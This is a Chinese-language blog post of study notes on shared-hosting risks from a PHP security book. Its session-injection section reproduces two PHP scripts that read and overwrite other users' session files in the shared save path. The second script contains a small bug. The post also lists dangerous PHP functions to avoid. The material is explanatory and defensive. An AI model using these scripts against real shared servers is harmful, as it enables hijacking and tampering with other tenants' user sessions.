现在的位置: 首页 > 综合 > 正文

PHP安全基础 - 共享主机[整理]

2017年12月26日 ⁄ 综合 ⁄ 共 1799字 ⁄ 字号 评论关闭
文章目录

导读:共享主机不安全。至少不能达到高级别。

详细:

1 源码暴露

由于WEB服务器必须要能够读取源码并执行,这就一位这任意人所写的代码都可以被服务器运行。

要避免源码泄漏,就需要避免使用用户输入文件并执行。如果一定要,也需要制作白名单。

不在白名单内的输入统统返回错误。

2 会话数据暴露

书中提及的将会话数据保存到数据库中,还不知道业内是如何处理,但个人觉得,这么做,逻辑复杂了。待今后学习。

3 会话注入

文中提到,以下代码方便用户编辑已经存在的会话数据:

<?php
session_start();
?>

<form action="inject.php" method="POST">

<?php
$path = ini_get('session.save_path');
$handle = dir($path);

while ($filename = $handle->read()) {
    if (substr($filename, 0, 5) == 'sess_') {
        $sess_data = file_get_contents("$path/$filename");

        if (!empty($sess_data)) {
            session_decode($sess_data);
            $sess_data = $_SESSION;
            $_SESSION = array();

            $sess_name = substr($filename, 5);
            $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
            echo "<h1>Session [$sess_name]</h1>";

            foreach ($sess_data as $name => $value) {
                $name = htmlentities($name, ENT_QUOTES, 'UTF-8');
                $value = htmlentities($value, ENT_QUOTES, 'UTF-8');
                echo "<p>
                $name:
                <input type=\"text\"
                name=\"{$sess_name}[{$name}]\"
                value=\"$value\" />
                </p>";
            }

            echo '<br />';
        }
    }
}

$handle->close();
?>

    <input type="submit" />
</form>

使用以下代码便可以进行攻击行为:

<?php

session_start();

$path = ini_get('session.save_path');

foreach ($_POST as $sess_name => $sess_data) {
    $_SESSION = $sess_data;
    $sess_data = session_encode;

    file_put_contents("$path/$sess_name", $sess_data);
}

$_SESSION = array();
?>

十分的不解。

4 文件系统浏览

把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。

5 安全模式

开启PHP的safe_mode。

另外:

1 小心并尽量不使用以下函数:

eval  exec  file  file_get_contents  fopen  include  passthru  phpinfo  popen  preg_replace  proc_open  readfile  require  shell_exec  system

2 加密算法

-对称加密

-非对称加密(公钥)

-Hash函数(信息摘要)

-信息验证

主要关注于使用mcrypt扩展的对称加密算法。你需要参考的资料如下:
实用加密技术(Applied Cryptography), by Bruce Schneier (Wiley)

http://www.schneier.com/blog/

http://wikipedia.org/wiki/Cryptography

http://phpsec.org/articles/2005/password-hashing.html

http://pear.php.net/package/Crypt_HMAC

http://pear.php.net/package/Crypt_RSA

终于看完《PHP安全基础》了,加固了很多开发方面的安全知识。但是,对于书中提到的某些防范措施,对于当今的web应用来说,已经不足够安全了。希望在今后的开发中,学习到更多,补充完善自己的知识。

抱歉!评论已关闭.